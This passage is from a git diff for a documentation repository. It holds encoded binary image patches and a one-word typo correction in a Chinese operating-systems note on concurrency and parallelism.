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
Tz?T2g|9|QKzx4l~)c=12@LRw@

literal 0
HcmV?d00001

diff --git a/docs/notes/计算机操作系统.md b/docs/notes/计算机操作系统.md
index 00856b65..35aefa5f 100644
--- a/docs/notes/计算机操作系统.md
+++ b/docs/notes/计算机操作系统.md
@@ -47,7 +47,7 @@
 
 并发是指宏观上在一段时间内能同时运行多个程序，而并行则指同一时刻能运行多个指令。
 
-并行需要硬件支持，如多流水线、多核处理器或则分布式计算系统。
+并行需要硬件支持，如多流水线、多核处理器或者分布式计算系统。
 
 操作系统通过引入进程和线程，使得程序能够并发运行。
 
diff --git a/docs/pics/11548741556940.gif b/docs/pics/11548741556940.gif
new file mode 100644
index 0000000000000000000000000000000000000000..25571c544c53e0ebf113cc1d4d196392343edc50
GIT binary patch
literal 25600
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
